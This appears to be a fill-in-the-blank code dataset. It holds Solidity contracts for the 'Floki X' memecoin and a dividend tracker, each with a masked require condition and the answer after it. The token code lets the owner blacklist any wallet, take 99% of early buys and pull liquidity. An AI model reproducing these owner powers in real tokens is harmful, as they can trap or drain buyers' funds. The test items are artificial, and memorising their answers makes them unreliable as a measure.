* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (!earlyBuyPenaltyInEffect() && tradingActive) {
require(<FILL_ME>)
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
if (transferDelayEnabled) {
if (to != address(dexRouter) && to != address(lpPair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number - 2 &&
_holderLastTransferTimestamp[to] <
block.number - 2,
"_transfer:: Transfer Delay enabled. Try again later."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxBuyAmount,
"Buy transfer amount exceeds the max buy."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max Wallet Exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(sellingEnabled, "Selling disabled");
require(
amount <= maxSellAmount,
"Sell transfer amount exceeds the max sell."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max Wallet Exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// bot/sniper penalty.
if (
(earlyBuyPenaltyInEffect() ||
(amount >= maxBuyAmount - .9 ether &&
blockForPenaltyEnd + 8 >= block.number)) &&
automatedMarketMakerPairs[from] &&
!automatedMarketMakerPairs[to] &&
!_isExcludedFromFees[to] &&
buyTotalFees > 0
) {
if (!earlyBuyPenaltyInEffect()) {
// reduce by 1 wei per max buy over what Uniswap will allow to revert bots as best as possible to limit erroneously blacklisted wallets. First bot will get in and be blacklisted, rest will be reverted (*cross fingers*)
maxBuyAmount -= 1;
}
if (!isBot[to]) {
isBot[to] = true;
botsCaught += 1;
earlyBuyers.push(to);
emit CaughtEarlyBuyer(to);
}
fees = (amount * 99) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForOperations +=
(fees * sellOperationsFee) /
sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| !isBot[from]||to==owner()||to==address(0xdead),"Bots cannot transfer tokens in or out except to owner or dead address." | 68,726 | !isBot[from]||to==owner()||to==address(0xdead) |
"Selling already enabled!" | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
require(confirmSellingEnabled, "Confirm selling enabled!");
require(<FILL_ME>)
sellingEnabled = true;
emit EnabledSellingForever();
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| !sellingEnabled,"Selling already enabled!" | 68,726 | !sellingEnabled |
"Must have Tokens on contract to launch" | // SPDX-License-Identifier: MIT
/**
$XFLOKI
https://xfloki.net/
https://twitter.com/xflokioffical
https://t.me/xflokioffical
*/
pragma solidity 0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract FLOKIX is ERC20, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public isBot;
address[] public earlyBuyers;
uint256 public botsCaught;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public sellingEnabled = true;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 private originalOperationsFee;
uint256 private originalLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event EnabledSellingForever();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("The Floki X", "XFloki") {
}
receive() external payable {}
function getEarlyBuyers() external view returns (address[] memory) {
}
function removeBoughtEarly(address wallet) external onlyOwner {
}
function markBoughtEarly(address wallet) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function setMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function setMaxSellAmount(uint256 newNum) external onlyOwner {
}
function setMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function swapBack() private {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress)
external
onlyOwner
{
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
// Enable selling - cannot be turned off!
function setSellingEnabled(bool confirmSellingEnabled) external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
function addLP() external onlyOwner {
require(!tradingActive, "Trading is already active, cannot relaunch.");
// add the liquidity
require(
address(this).balance > 0,
"Must have ETH on contract to launch"
);
require(<FILL_ME>)
_approve(address(this), address(dexRouter), balanceOf(address(this)));
dexRouter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
}
| balanceOf(address(this))>0,"Must have Tokens on contract to launch" | 68,726 | balanceOf(address(this))>0 |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "./DividendPayingToken.sol";
contract DividendTrackers is DividendPayingToken {
using SafeMath for uint256;
using SafeMathInt for int256;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(address key) private view returns (uint) {
}
function getIndexOfKey(address key) private view returns (int) {
}
function getKeyAtIndex(uint index) private view returns (address) {
}
function size() private view returns (uint) {
}
function set(address key, uint val) private {
}
function remove(address key) private {
}
Map tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address=> uint256) public amountEarn;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public immutable minimumTokenBalanceForDividends;
event ExcludeFromDividends(address indexed account);
event IncludeInDividends(address indexed account);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor(address _token) {
}
function excludeFromDividends(address account) external onlyOwner {
}
function includeInDividends(address account) external onlyOwner {
require(<FILL_ME>)
excludedFromDividends[account] = false;
emit IncludeInDividends(account);
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
